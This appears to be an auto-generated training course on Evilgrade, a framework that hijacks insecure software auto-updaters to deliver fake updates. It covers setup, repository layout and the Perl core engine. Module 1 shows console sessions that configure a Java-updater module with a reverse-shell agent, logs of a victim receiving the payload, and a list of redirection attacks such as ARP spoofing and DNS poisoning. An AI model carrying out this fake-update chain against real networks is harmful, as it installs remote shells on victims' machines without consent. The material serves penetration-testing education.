evilgrade

An auto-generated, source-verified training course.

Version 1.0.0 · updated 2026-11-04

6 modules 23 lessons 23 verified
Module 1

Introduction & Framework Overview

Understand what Evilgrade is, when and why it's used, how it is set up, and the big picture of its modular architecture.

Lesson 1

What is Evilgrade and the Attack Scenario

What is Evilgrade and the Attack Scenario

Overview

This lesson introduces Evilgrade, a modular penetration-testing framework that exploits insecure software auto-update mechanisms by serving victims fake updates that contain attacker-controlled payloads. You'll learn what problem the tool targets (applications that trust updates based only on a hostname), the network conditions that make the attack possible (ARP spoofing, DNS poisoning, and similar hostname-redirection techniques), and how Evilgrade's built-in DNS server and web server work together to complete the attack chain. Understanding this scenario matters because it illustrates a broad class of supply-chain / update-integrity weaknesses that are still relevant in modern software.


Key Concepts

1. Fake-Update Injection Framework

Explanation: Evilgrade exploits "poor upgrade implementations." Many applications check for updates over the network and download/run a binary if the update server tells them one is available. If that check isn't cryptographically verified, an attacker who controls the response can deliver a malicious binary instead.

Example: Imagine your laptop's media player phones home to updates.example.com and runs whatever .exe it receives. If someone can impersonate that server, your player happily installs their malware.

In the code (README.md):

Evilgrade is a modular framework that allows the user to take advantage of poor upgrade implementations by injecting fake updates.
It comes with pre-made binaries (agents), a working default configuration for fast pentests, and has it's own WebServer and DNSServer modules.

2. Hostname Redirection as the Precondition

Explanation: Evilgrade does not break into the network by itself. It assumes the attacker can already redirect the victim's traffic for a target hostname (e.g., java.sun.com) to the attacker's machine. Redirection is achieved through separate techniques.

Example: Like swapping the address label on a package so it's delivered to your house instead of the intended recipient — the package itself isn't altered, just where it goes.

In the code (README.md):

This framework comes into play when the attacker is able to make hostname redirections (manipulation of victim's dns traffic), and such thing can be done on 2 scenarios:

3. Internal vs. External Scenarios

Explanation: The README splits redirection techniques into two scenarios. Internal assumes you share the victim's local network (LAN-level attacks). External is narrower, relying on DNS-level manipulation reachable from outside the LAN.

Example: An attacker on the same coffee-shop Wi-Fi (internal) vs. an attacker who poisons an upstream DNS resolver's cache (external).

In the code (README.md):

Internal scenery:
- Internal DNS access
- ARP spoofing
- DNS Cache Poisoning
- DHCP spoofing
- TCP hijacking
- Wi-Fi Access Point impersonation

External scenery:
- Internal DNS access
- DNS Cache Poisoning

4. Modules and VirtualHosts

Explanation: Each supported application is a module that encodes how to emulate that app's update protocol — including the VirtualHost(s) (the real update domains) the fake web server must pretend to be. Evilgrade ships with 63 modules.

Example: The sunjava module knows that Java's updater talks to java.sun.com and javadl-esd.sun.com, so it answers requests for exactly those hostnames.

In the code (README.md):

evilgrade>show vhosts

Virtual hosts:
=============

[
  "java.sun.com",
  "javadl-esd.sun.com",
  ...
]

5. DNS Server + WebServer Working Together

Explanation: Evilgrade bundles two services. The DNSServer answers the victim's name lookups for the target VirtualHost, pointing them at the attacker. The WebServer then serves the crafted update response and the malicious agent. Global options control both.

Example: The DNS server is the "receptionist" that directs the victim to the wrong door; the web server is the "impostor" waiting behind that door.

In the code (README.md): The global options show both services' knobs (note: a debug row sits between DNSPort and port in the full table and is elided here):

.-----------------------------------------------------------------------------------.
| Name        | Default   | Description                                             |
+-------------+-----------+---------------------------------------------------------+
| DNSEnable   |         1 | Enable DNS Server ( handle virtual request on modules ) |
| DNSAnswerIp | 127.0.0.1 | Resolve VHost to ip  )                                  |
| DNSPort     |        53 | Listen Name Server port                                 |
...
| port        |        80 | Webserver listening port                                |
| sslport     |       443 | Webserver SSL listening port                            |
'-------------+-----------+---------------------------------------------------------'

Code Walkthrough

Section 1 — Configuring a module and inspecting its options (README.md)

evilgrade>conf sunjava
evilgrade(sunjava)>show options

Display options:
===============

Name = Sun Microsystems Java
Version = 2.0
...
VirtualHost = "java.sun.com|javadl-esd.sun.com"

.-------------------------------------------------------------------------------------------------------------------------.
| Name         | Default                                         | Description                                            |
+--------------+-------------------------------------------------+--------------------------------------------------------+
...
| agent        | ./agent/reverseshellsign.exe                    | Agent to inject                                        |
...
'--------------+-------------------------------------------------+--------------------------------------------------------'
  • conf sunjava enters the module context — the prompt changes to evilgrade(sunjava)>, scoping subsequent commands to that module.
  • VirtualHost = "java.sun.com|javadl-esd.sun.com" is the heart of the attack: these are the domains the fake web server will impersonate. For the attack to work, the victim must resolve these names to the attacker.
  • The agent row (./agent/reverseshellsign.exe for this module) is the payload binary delivered when the victim "updates." Each module defines its own agent default — there is no single global shipped agent; other modules use different defaults.
  • The remaining rows (title, description, website, etc.) only control what the victim sees during the fake update — cosmetic social-engineering details.

Why it's written this way: Separating the VirtualHost, the agent, and the display text makes modules reusable templates — you point them at a payload and let the framework emulate the rest of the update protocol.


Section 2 — Starting services and catching a victim (README.md)

evilgrade>start
evilgrade>
[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
evilgrade>
[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

#### Waiting for victims

evilgrade>
[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
evilgrade>
[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"
evilgrade>
[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"
evilgrade>
[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"
  • start brings up both the WEBSERVER and the DNSSERVER — confirming the attack needs both halves of the chain running.
  • The log shows the victim (192.168.233.10) contacting the fake Java update endpoint. Because the victim's DNS lookup was redirected, these requests arrive at Evilgrade rather than the real Sun servers.
  • The requests progress through the update protocol: fetching update XML metadata, then requesting the .exe.
  • Agent sent: "./agent/reverseshell.exe" is the payoff — the configured payload is delivered and will execute on the victim as if it were a legitimate update.

Why it's written this way: The stepwise log mirrors the real update handshake, demonstrating that Evilgrade must faithfully emulate each request the client expects before it can deliver the agent.

A note on agents in general: an "agent" is just whatever binary you configure for the module. The project even ships benign placeholder binaries so you can test the mechanics safely, but each module's agent option is independent and must be set to a payload appropriate for the target platform.


Common Mistakes

1. Thinking Evilgrade performs the redirection itself

Why it happens: The tool bundles a DNS server, so learners assume it hijacks victim traffic automatically. In reality, the README states the attacker must already be able to make hostname redirections (via ARP spoofing, DNS cache poisoning, etc.). Evilgrade's DNS server answers lookups only once that redirection sends them its way. How to avoid it: Treat redirection (ARP/DNS/DHCP attacks) as a separate prerequisite step you set up before launching Evilgrade.

2. Forgetting to match the VirtualHost to the target

Why it happens: Learners set an agent but don't verify that VirtualHost matches the exact domains the target app contacts. If the victim queries a hostname the module doesn't emulate, no update request ever reaches the web server. How to avoid it: Run show vhosts / show options and confirm the module's VirtualHosts cover every domain the target application actually uses for updates.

3. Assuming any payload works on any target

Why it happens: Evilgrade is cross-platform, which some read as "payload-agnostic." The README clarifies it "only depends of having an appropriate payload for the right target platform." How to avoid it: Choose an agent binary built for the victim's OS/architecture; a Windows .exe won't execute on a Linux target.


Real-World Use Case

A penetration tester is assessing a corporate LAN where employee laptops run outdated software with insecure auto-updaters. With authorization, the tester uses ARP spoofing to position themselves as a man-in-the-middle, then runs Evilgrade with the sunjava module. When a laptop's Java updater queries java.sun.com, Evilgrade's DNS server resolves it to the tester's machine, the web server emulates the Java update protocol, and the configured agent is delivered — demonstrating to the client, with concrete evidence in the victim-status log, that their update mechanism lacks signature verification and must be hardened.


Next Steps

Next, explore the module internals to see how a single application's update protocol is emulated (request patterns, response XML, and dynamic agent generation), which builds directly on the VirtualHost and agent concepts introduced here.

Lesson 2

Running Evilgrade and Platform Setup

Running Evilgrade and Platform Setup

Overview

This lesson introduces the practical first step in working with isr-evilgrade: launching the console and preparing your environment on Windows or Linux. Evilgrade is a modular framework that exploits insecure software update mechanisms by injecting fake updates. Before you can experiment with its modules, you need to understand how the evilgrade entry point starts the interactive shell, what Perl dependencies the platform requires, and which application targets the framework supports. Getting the setup right is the foundation for everything else—if the console won't launch, no module will run.

Key Concepts

1. Console Entry Point

  • Name: A single Perl script (evilgrade) that bootstraps the interactive command loop for the whole framework.
  • Example: Like typing python manage.py shell to drop into an interactive session—one command spins up the full environment.
  • In the code: The evilgrade file is a Perl script with a #!/usr/bin/perl shebang that calls &main, which constructs a shell object and enters its command loop.

2. Platform Dependencies (Perl Runtime)

  • Name: Evilgrade is written in Perl and relies on a working Perl interpreter plus core modules bundled under isrcore::.
  • Example: Just as a Node app needs Node.js installed, this tool needs Perl present—on Windows that means a self-contained distribution rather than the system default.
  • In the code: docs/WINDOWS directs you to download Strawberry Perl, a Windows Perl distribution that includes the compiler and toolchain needed for module dependencies.

3. Signal Handling for Clean Exit

  • Name: The script traps the interrupt signal (Ctrl+C) so it can shut down gracefully instead of leaving services running.
  • Example: Like a web server that catches SIGINT to close open sockets before quitting, rather than dying mid-request.
  • In the code: $SIG{INT} = sub { $shell->run_exit }; reroutes Ctrl+C to the shell's own exit routine.

4. Version History as a Capability Map

  • Name: The docs/CHANGES file documents what modules and features each release added, making it a reference for supported targets.
  • Example: Like a game's patch notes telling you which characters were added in each update—it tells you what the tool can do today.
  • In the code: docs/CHANGES lists modules such as SolarWinds Orion (2.0.10), SoapUI (2.0.9), ASUS/ACER OEM updaters (2.0.8), and the large baseline set of targets from 2.0.0.

Code Walkthrough

The Entry Point Script (evilgrade)

#!/usr/bin/perl
...
use isrcore::Shell;
use isrcore::shellz;

&main;
  • #!/usr/bin/perl is the shebang that tells your shell to execute this file with the Perl interpreter. On Linux you can run ./evilgrade directly (after chmod +x); on Windows you invoke it through Strawberry Perl.
  • use isrcore::Shell; and use isrcore::shellz; import the framework's internal modules. These live under an isrcore namespace in the repository, which is why you must run the script from the project root so Perl can resolve them.
  • &main; calls the main subroutine. The & prefix is classic Perl syntax for invoking a named sub.

The main Subroutine

sub main {
    my $shell = isrcore::shellz->new;
    $SIG{INT} =  sub { $shell->run_exit};

    $shell->cmdloop;

}
  • my $shell = isrcore::shellz->new; instantiates the interactive shell object. This is the controller that will parse your commands (loading modules, configuring targets, launching attacks).
  • $SIG{INT} = sub { $shell->run_exit }; installs a signal handler. When you press Ctrl+C, Perl runs this anonymous sub, which calls the shell's run_exit method so the tool can tear down cleanly instead of leaving a rogue DNS or web server listening.
  • $shell->cmdloop; enters the read-eval loop. This blocks and keeps the console alive, reading commands until you exit. Everything you do in evilgrade happens inside this loop.

This design is intentionally minimal: the entry point does almost nothing itself. All real logic is delegated to isrcore::shellz, keeping the launcher small and the behavior centralized.

Windows Setup Reference (docs/WINDOWS)

To run evilgrade under Windows you should download the last version of Strawberry Perl from:
http://strawberryperl.com/releases.html
  • The entire Windows guidance is a single instruction: install Strawberry Perl. Strawberry Perl bundles a C compiler and cpan, which matters because some dependencies (like ReadLine::Gnu, referenced in the changelog) need to be built.
  • On Linux, the system Perl is usually sufficient, but you may still need to install CPAN modules the framework depends on.

Common Mistakes

1. Running the script from the wrong directory

  • Mistake: Launching evilgrade from outside the repository root.
  • Why it happens: Learners copy the binary or run it from a different folder, and Perl then can't find isrcore::Shell or isrcore::shellz.
  • How to avoid it: Always cd into the project directory first, then run ./evilgrade (Linux) or perl evilgrade (Windows). The isrcore modules are resolved relative to where you launch.

2. Using the wrong Perl on Windows

  • Mistake: Relying on an ActivePerl install or a stripped-down Perl without a build toolchain.
  • Why it happens: docs/WINDOWS is terse, so newcomers assume any Perl works.
  • How to avoid it: Install Strawberry Perl specifically, because it ships with the compiler needed to build native dependencies like ReadLine::Gnu.

3. Killing the console with Ctrl+C and expecting instant cleanup to be guaranteed

  • Mistake: Assuming Ctrl+C is a hard kill, then being surprised when services behave oddly.
  • Why it happens: Learners don't realize Ctrl+C is intercepted and routed to run_exit.
  • How to avoid it: Let run_exit complete. Prefer exiting through the shell's own command when available, and know that the signal handler is doing graceful shutdown work.

Real-World Use Case

Imagine you're a penetration tester tasked with assessing whether a client's internal update process is vulnerable to man-in-the-middle fake-update attacks. You clone the evilgrade repository onto your Linux testing laptop, cd into the project directory, and run ./evilgrade to drop into the console. Before loading a module, you check docs/CHANGES and confirm there's a module for the client's software (say, SolarWinds Orion, added in 2.0.10). Knowing the console launched cleanly and the target is supported, you're ready to configure and run the module. Had the client machine been Windows-based for your test rig, you'd first install Strawberry Perl per docs/WINDOWS.

Next Steps

With the console launching successfully, the next concept is working inside the command loop—using isrcore::shellz commands to list modules (show modules), inspect virtual hosts (show vhosts), and configure a specific application target for exploitation.

Lesson 3

Repository Layout and Conventions

Repository Layout and Conventions

1. Overview

This lesson introduces the directory structure and file conventions of evilgrade, a modular framework that intercepts software update requests and serves crafted payloads instead. Before you can contribute a new module or agent, you need a mental map of where things live and how they fit together: the core engine, the attack modules, the agent binaries that get delivered, and the payload includes that supply fake update content. Understanding this layout saves you from the common beginner trap of putting files in the wrong place—or worse, writing a module the framework never loads.

2. Key Concepts

Core Engine (isrcore)

  • Name: The engine is the shared machinery that every module depends on—argument parsing, the DNS/HTTP servers, module dispatch, and session handling. Modules do not re-implement these; they plug into them.
  • Example: Think of it like a web framework (Django, Express). You write handlers (modules); the framework runs the request loop.
  • In the code: Core files live under isrcore/. The key files in this lesson don't live here, but every module you register is eventually loaded and driven by this engine.

Modules

  • Name: A module describes how to exploit a specific application's update mechanism. It declares the URLs it responds to, what type of response to send (a file, a string, a redirect), and which payload to serve.
  • Example: One module for "Notepad++ updater," another for "Java updater"—each knows the quirks of that app's update protocol.
  • In the code: The Perl hash printed by extra/makelist.pl is exactly the shape of a module's request table. Each entry maps an incoming req (request path) to a type, method, and a backing file.

Agents

  • Name: An agent is the actual payload binary that gets delivered to the victim once a fake update is accepted.
  • Example: Instead of the real Notepad.exe update, the framework hands over your agent executable.
  • In the code: docs/FILES documents this directly:
/agent/agent.exe: It's a Notepad.exe

Payload Includes

  • Name: Includes are the raw content files a module serves—metadata, manifests, or binaries that mimic a legitimate update server's responses.
  • Example: To impersonate an APT repository, you need the exact Release.gpg, Packages.bz2, and Sources.bz2 files the client expects.
  • In the code: makelist.pl writes 'file' => './include/ubuntu/...', showing that payload content is organized under include/<target>/.

Generated Conventions

  • Name: Some configuration is machine-generated rather than hand-written, enforcing consistency across large sets of files.
  • Example: Rather than typing hundreds of repository paths by hand, you list them once and generate the module entries.
  • In the code: extra/list.txt + extra/makelist.pl together generate module request entries.

3. Code Walkthrough

The URL inventory — extra/list.txt

ar.archive.ubuntu.com/ubuntu/dists/intrepid/Release.gpg
ar.archive.ubuntu.com/ubuntu/dists/intrepid/main/i18n/Translation-en_US.bz2
...
ar.archive.ubuntu.com/ubuntu/dists/intrepid-updates/multiverse/source/Sources.bz2

This is a flat list of every path a real Ubuntu APT client requests during an update. Each line is a full host-plus-path URL. It carries no logic—it's just raw data describing what the target client will ask for. Keeping this separate from code means you can regenerate the module whenever Ubuntu's repository layout changes, without touching Perl.

The generator — extra/makelist.pl

open(FZ,"list.txt");

foreach (<FZ>){
    chomp($_);

my $str2=$_;
$str2=~s/ar.archive.ubuntu.com\/ubuntu//;
  • open(FZ,"list.txt") reads the inventory from the previous section.
  • foreach (<FZ>) iterates line by line; chomp strips the trailing newline.
  • $str2 =~ s/ar.archive.ubuntu.com\/ubuntu// strips the host prefix, leaving just the path portion (e.g. /dists/intrepid/Release.gpg). This becomes the request path the module matches on.
my $str;
$str.="{\n";
$str.="'req' => '$str2',\n";
$str.="'type' => 'file',\n";
$str.="'method' => '', \n";
$str.="'bin'    => 0,\n";
$str.="'string' => '',\n";
$str.="'parse' => 1,\n";
$str.="'file' => './include/ubuntu/$_',\n";
$str.="},\n";

    print $str;
}
close(FZ);

Each iteration builds a Perl hash literal as a string and prints it: - 'req' — the stripped path ($str2) the module responds to. - 'type' => 'file' — respond by serving a file (vs. a string or redirect). - 'file' => './include/ubuntu/$_' — note this uses $_, the original un-stripped line, so the payload is stored at a path mirroring the full upstream URL under include/ubuntu/. - 'parse' => 1 — the file should be processed/templated before sending.

Why written this way: Generating these hashes avoids hand-maintaining dozens of near-identical entries. The output is meant to be pasted into a module's request table—this is where new URL handlers get registered for that module.

Where agents are documented — docs/FILES

/agent/agent.exe: It's a Notepad.exe

docs/FILES is a human-readable index that annotates what each binary actually is. When you add a new agent under agent/, you document its purpose here so other contributors know what the file is and why it exists.

4. Common Mistakes

  • Confusing includes with agents. Learners often drop a payload binary into agent/ or an agent into include/. Remember: include/<target>/ holds the fake update content a module serves to convince the client; agent/ holds the final executable delivered as the "update." They play different roles in the attack chain.

  • Editing generated output by hand. Because makelist.pl produces module entries, people edit the resulting hash entries and then lose their changes on regeneration. If the source data changes, edit list.txt and re-run the script instead of patching the generated text.

  • Getting the file path wrong. The generator maps 'file' => './include/ubuntu/$_' using the full original URL, not the stripped req. If you place payload files under the stripped path, the module won't find them. Mirror the exact directory layout the script expects.

5. Real-World Use Case

Suppose Ubuntu releases a new distribution codename and the APT update paths change. To keep the APT-impersonation module working, you'd update extra/list.txt with the new repository URLs, re-run perl extra/makelist.pl to regenerate the request hash entries, and paste those into the module's request table. You'd then place the corresponding fake Release.gpg, Packages.bz2, and Sources.bz2 files under include/ubuntu/... matching the generated paths—and finally document any new agent binary in docs/FILES. In a few minutes you've refreshed a module without hand-writing boilerplate.

6. Next Steps

Now that you can locate modules, agents, and includes, the natural follow-up is learning the module request-table format in depth—how type, method, and parse control the engine's response behavior at runtime.

📝 Module Quiz

Answer all questions to check your understanding. 70% to pass.

Q1. What core weakness in software does Evilgrade exploit?

Q2. A learner assumes that simply running Evilgrade will automatically redirect a victim's traffic to the attacker's machine. Why is this incorrect?

Q3. During an attack, what role does the VirtualHost setting in a module play?

Q4. When setting up Evilgrade on a Windows test machine, why does the documentation specifically recommend Strawberry Perl rather than any Perl distribution?

Q5. After Ubuntu changes its repository layout, a contributor wants to update the APT-impersonation module. Based on the repository conventions, what is the correct workflow?

Module 2

Core Engine Internals

Dive into the central Perl core that drives the console, loads modules, and coordinates servers.

Lesson 1

The Main Engine and Console

The Main Engine and Console

Overview

This lesson explores how the evilgrade framework starts up and presents an interactive console to the user. We'll trace three cooperating Perl modules: isrcore::main (the engine that discovers and loads attack modules), isrcore::Shell (a generic command-shell base class), and isrcore::shellz (the evilgrade-specific shell that ties everything together). Understanding this bootstrap sequence matters because every feature — starting the webserver, listing modules, configuring options — flows through the shell's command dispatch and depends on the module registry built at startup.

Key Concepts

1. Dynamic module loading at runtime

  • Name: Instead of hardcoding a list of attack modules, the framework scans a directory and loads every .pm file it finds, instantiating each one into a registry.
  • Example: Like a plugin folder in an IDE — drop a new plugin file in the directory and it appears next time you start up, no recompilation needed.
  • In the code: isrcore::main::loadmodules reads the modules directory, do's each file, and stores successfully constructed objects in $self->{'modules'}.

2. Command dispatch by naming convention

  • Name: The shell maps typed commands to Perl subroutines by prefix. Typing show runs the sub named run_show; set runs run_set.
  • Example: Like a REST router matching GET /users to a getUsers() handler — the framework introspects available handlers rather than requiring a manual switch statement.
  • In the code: isrcore::Shell scans for subs matching /^(run|help|smry|comp|catch|alias)_/ in add_handlers, and shellz.pm defines handlers like run_show, run_set, run_configure.

3. Subclassing a generic shell

  • Name: isrcore::Shell is a reusable REPL engine; isrcore::shellz inherits from it and overrides just the hooks it needs (init, prompt_str, command handlers).
  • Example: Like extending a base Controller class and only overriding the methods relevant to your resource.
  • In the code: use base qw(isrcore::Shell); plus overridden sub init and sub prompt_str in shellz.pm.

4. Forked input/output threads for a non-blocking prompt

  • Name: Reading keyboard input can block indefinitely. The shell forks a child process to read STDIN while the parent handles asynchronous messages (e.g., incoming attack notifications) without freezing the prompt.
  • Example: Like a chat app where one thread listens for your typing while another displays incoming messages.
  • In the code: cmdloop in Shell.pm uses socketpair and fork() to split STDIN reading (child) from command/message processing (parent).

5. Stateful console context

  • Name: The shell tracks "where you are" — a selected module path — so that commands like set and show options operate on the right object.
  • Example: Like cd-ing into a directory; subsequent commands apply to that location.
  • In the code: $self->{'path'} is set by run_configure and read by run_set and run_show to target either a module's options or the global base options.

Code Walkthrough

Bootstrapping in shellz::init

# File: isrcore/shellz.pm
sub init {
    my $self = shift;
    my $webserver = isrcore::webserver->new();
    my $dnsserver = isrcore::dnsserver->new();    
    my $isrmain = isrcore::main->new();
    if( $shellz::ppid == 0 )   
    {
          $shellz::ppid= $$;    
     }
    #Loadmodules
    my $ret = $isrmain->loadmodules();
    if ($ret != 1){ # loadmodules error
    $isrmain->println($ret);
    exit;
    }
    $self->{'dnsserver'}=$dnsserver;    
    $self->{'webserver'}=$webserver;
    $self->{'isrmain'}=$isrmain;
    $self->{'VERSION'}="2.0.1";    
    $self->{'path'}="";
    $self->{'prompt'}="evilgrade";
    $self->{'change'}=0;
}

init is called automatically at the end of the Shell constructor (the base class defines an empty sub init { } as an override hook). Here evilgrade:

  • Constructs the web server and DNS server objects but doesn't start them yet.
  • Records the parent process ID in $shellz::ppid — this is used later in run_exit so only the original parent performs cleanup.
  • Calls loadmodules() and aborts the whole program if it doesn't return 1. Loading modules is a hard prerequisite for a usable console.
  • Seeds console state: an empty path (no module selected), the prompt string base evilgrade, and a change flag.

Module enumeration in main::loadmodules

# File: isrcore/main.pm
sub loadmodules{
    my $self = shift;
    my @modules;

    my $path = $self->{'Base'}->{'pwd'}.$self->{'Base'}->{'path'};

    local *DIR;
    if (!opendir(DIR,"$path")){
    return "[LOADMODULES] - (*) No such file or directory ($path)";
    }
    my @files = grep(!/(^\.\.?$|^\.svn$)/,readdir(DIR));
    closedir(DIR);

    my $modules;
    my $mods=0;
    foreach my $f (@files)
    {
    my $base = $self->{'Base'}->{'path'}."/".$f;
    my ($name) = $f =~ m/([^\.]+)\.pm/;

    delete $INC{$self->{'Base'}->{'path'}."/".$name};

    $self->printd("Loading module: $base\n");
        my $result = do($base);

    if ($@) {
        $self->println('Error: Loading module ($base):' . $@);
        delete $INC{$self->{'Base'}->{'path'}."/".$name};
        next;
    }
    if (!$result){
        $self->println("Error: module ($base) did not return true\n");
        next;
    }
    my $object = "$self->{'Base'}->{'path'}::$name";
    my $module;
    if (eval { $module = $object->new()}){ #Verify object's creation
        $mods++;
        $module = $object->new();
        $modules->{$name} = $module;
    }else{
        $self->println("Error: module ($base): $@\n");
    }
    }
    ...
    delete $self->{'modules'};
    $self->{'modules'} = $modules;
    return 1;
}

Logical blocks:

  • Directory scan: builds $path from pwd + path (./modules), opens it, and reads all entries except ., .., and .svn. A failed opendir returns an error string (not 1) — this is what init checks against.
  • Per-file load: $name extracts the base filename without extension via regex. delete $INC{...} forces Perl to re-run the file even if already loaded (important for reload). do($base) executes the module file; the file is expected to define a package named modules::<name> and return a true value.
  • Error gating: two checks — $@ catches compile/runtime errors from do, and !$result catches a file that didn't return true. Each failure nexts to skip that module rather than crashing.
  • Instantiation: the package name is assembled as a string (modules::name) and $object->new() is called inside eval so a broken constructor doesn't abort the loop. On success the object is stored in $modules->{$name}.
  • Registry swap: the old modules hash is deleted and replaced, so calling loadmodules again (via run_reload) gives a clean slate.

Note the quirk: on success the code calls $object->new() twice — once to test, once to store. This works but is wasteful; a cleaner approach would reuse the first object.

Command parsing and dispatch in Shell::cmd

# File: isrcore/Shell.pm
sub cmd {
    my $o = shift;
    $o->{line} = shift;
    if ( $o->line =~ /\S/ ) {
        my ( $cmd, @args ) = $o->line_parsed;
        $o->run( $cmd, @args );
        unless ( $o->{command}{run}{found} ) {
            my @c = sort $o->possible_actions( $cmd, 'run' );
            if ( @c and $o->{API}{match_uniq} ) {
                print $o->msg_ambiguous_cmd( $cmd, @c );
            }
            else {
                print $o->msg_unknown_cmd($cmd);
            }
        }
    }
    else {
        $o->run('');
    }
}
  • The raw line is stored and checked for non-whitespace content (/\S/).
  • line_parsed splits the input into a command word and arguments.
  • run($cmd, @args) dispatches to the matching run_<cmd> handler via do_action.
  • If no handler was found ($o->{command}{run}{found} is false), the shell computes possible_actions — partial matches. With match_uniq enabled, ambiguous prefixes print a disambiguation message; otherwise it reports an unknown command.

This is why you can type a prefix like con and have it resolve to configure, as long as the prefix is unambiguous.

Common Mistakes

1. Expecting loadmodules to return the module count

Learners read the - $mods modules available. output and assume the function returns $mods. It actually returns 1 on success or an error string on failure. The caller (init) does if ($ret != 1). If you refactor loadmodules to return the count, you'll silently break the startup error check. Always match the contract: a true value 1 means success.

2. Forgetting the delete $INC{...} when adding reload logic

Perl caches loaded files in %INC. If you add module-reloading behavior and omit the delete $INC{...} line, do($base) may short-circuit and your edited module won't actually reload. This happens because do respects the compilation cache. Always clear the relevant %INC entry before re-executing a file you intend to reload.

3. Assuming command handlers are called directly

Beginners sometimes try to invoke a feature by calling, say, run_show as if it were a plain function with positional business arguments. In practice the shell's dispatcher (run → do_action) calls these handlers, passing the parsed arguments. The method signature in shellz.pm (my ($cmd) = @_;) receives the first argument token, not a rich object. Follow the dispatch path rather than calling handlers out of context.

Real-World Use Case

Imagine you've written a new attack module for a software updater and dropped it into the modules/ directory. You launch evilgrade, and shellz::init runs loadmodules, which scans the directory, do's your file, instantiates its package, and registers it. At the prompt you type show modules (dispatched to run_show), confirm your module is listed, then configure yourmodule (run_configure sets $self->{'path'}), show options to see its settings, and set agent /path/to/payload (run_set writes into the module's Base->options). Finally start forks the webserver. Every one of these steps relies on the bootstrap-and-dispatch machinery covered in this lesson.

Next Steps

Now that you understand how modules are enumerated and selected, study the structure of an individual module in modules/ — specifically its Base hash (name, version, options, vh) — to see how run_configure and run_set manipulate it and how the webserver consumes those options at attack time.

Lesson 2

Core Utilities and Output Formatting

Core Utilities and Output Formatting

Overview

Every substantial codebase accumulates a set of small, reusable helpers that modules lean on repeatedly: generating random values, hashing files, and formatting output for humans. In evilgrade, these live in isrcore/utils.pm (general-purpose helpers) and the isrcore/ASCIITable family (console table rendering). This lesson walks you through those shared utilities so that when you read or extend other modules, you'll recognize these helper calls instead of treating them as mystery functions. Understanding them once saves you from re-reading them everywhere.

Key Concepts

1. Stateless Utility Functions

  • Name: utils.pm groups small, independent functions (random data, hashing) that take inputs and return outputs without depending on object state.
  • Example: Like a kitchen drawer of single-purpose tools — a whisk doesn't need to know what bowl you used last time.
  • In the code: RndAlpha, RndNum, RndChars, RndData, getmd5, and getsha256 each do one thing and return a value. They don't rely on $self even though a new constructor exists.

2. Character Set Manipulation

  • Name: Building and filtering byte/character pools for generating controlled random payloads.
  • Example: Picking Scrabble tiles from a bag, but first removing the letters you're not allowed to use.
  • In the code: InverseChars builds the complement of a "bad characters" string across the full byte range (0x00 .. 0xff), and RndChars draws random bytes from that filtered pool.

3. ASCII Table Rendering

  • Name: A builder-style API that collects columns and rows, then draws a bordered table using ASCII box characters.
  • Example: A spreadsheet that prints cleanly to a terminal instead of a GUI.
  • In the code: isrcore::ASCIITable provides setCols, addRow, addRowLine, and overloads "" (stringification) to drawit, so print $t renders the table.

4. Operator Overloading for Ergonomics

  • Name: Perl's overload pragma lets objects behave like built-in types (strings, arrays).
  • Example: A smart container that "becomes" its printed form when you try to display it.
  • In the code: use overload '@{}' => 'addrow_overload', '""' => 'drawit'; — pushing to @$t adds a row, and stringifying $t draws the table.

5. Word Wrapping

  • Name: Breaking long strings onto multiple lines so cells don't overflow a fixed width.
  • Example: Text reflowing in a narrow phone column instead of running off the screen.
  • In the code: isrcore::ASCIITable::Wrap::wrap splits text and delegates each line to _wrap, which greedily fills lines up to $width.

Code Walkthrough

Generating random strings (isrcore/utils.pm)

sub RndAlpha {
  my $size = int(shift());
  my @chars = @_ ? split('', shift) : ('A' .. 'Z', 'a' .. 'z', '0' .. '9');

  my $data;
  while($size--) {
    $data .= $chars[int(rand(@chars))];
  }
  return($data);
}
  • my $size = int(shift()); — takes the first argument (desired length) and forces it to an integer.
  • my @chars = @_ ? split('', shift) : (...) — if a second argument was passed, use it as a custom character set (split into individual chars); otherwise default to alphanumerics.
  • while($size--) — loops $size times, decrementing after each check.
  • $chars[int(rand(@chars))] — rand(@chars) uses the array in scalar context (its length) to pick a random index.

This pattern (RndNum, RndChars, RndData all mirror it) is written for flexibility: callers get sensible defaults but can override the alphabet when they need a constrained pool.

Filtering out bad characters (isrcore/utils.pm)

sub InverseChars {
  my $badChars = shift;
  my $chars;
  foreach my $c (0x00 .. 0xff) {
    $c = chr($c);
    if(index($badChars, $c) == -1) {
      $chars .= $c;
    }
  }
  return($chars);
}
  • Iterates over every byte value from 0x00 to 0xff.
  • chr($c) converts the numeric code to its character.
  • index($badChars, $c) == -1 keeps only characters not present in $badChars.

RndChars then calls this to build a safe pool before generating data — useful when a payload must avoid certain bytes (null bytes, delimiters, etc.).

Building and rendering a table (isrcore/ASCIITable.pm)

use overload '@{}' => 'addrow_overload', '""' => 'drawit';

sub new {
  my $self = {
        tbl_cols => [],
        tbl_rows => [],
        ...
        des_top       => ['.','.','-','-'],
        des_middle    => ['+','+','-','+'],
        des_bottom    => ["'","'",'-','+'],
        ...
        options => $_[1] || { }
  };
  ...
  bless $self;
  return $self;
}
  • The des_* arrays define the border characters for each part of the table (top corners, middle separators, bottom corners). This is why the rendered table has . at top corners and ' at the bottom.
  • options => $_[1] || { } accepts an optional hashref of settings (like reportErrors or undef_as), defaulting to empty.
  • The overload line is what makes the usage from the SYNOPSIS work: print $t; triggers drawit, and push @$t, (...) triggers addrow_overload.

The multiline handling in setCols/addRow (splitting on \n and padding shorter cells) exists so a single logical row can span several printed lines without breaking column alignment.

Greedy word wrapping (isrcore/ASCIITable/Wrap.pm)

sub _wrap {
  my ($text,$width,$nostrict) = @_;
  my @result;
  my $line='';
  $nostrict = defined($nostrict) && $nostrict == 1 ? 1 : 0;
  for (split(/ /,$text)) {
    my $spc = $line eq '' ? 0 : 1;
    my $len = length($line);
    my $newlen = $len + $spc + length($_);
    if ($len == 0 && $newlen > $width) {
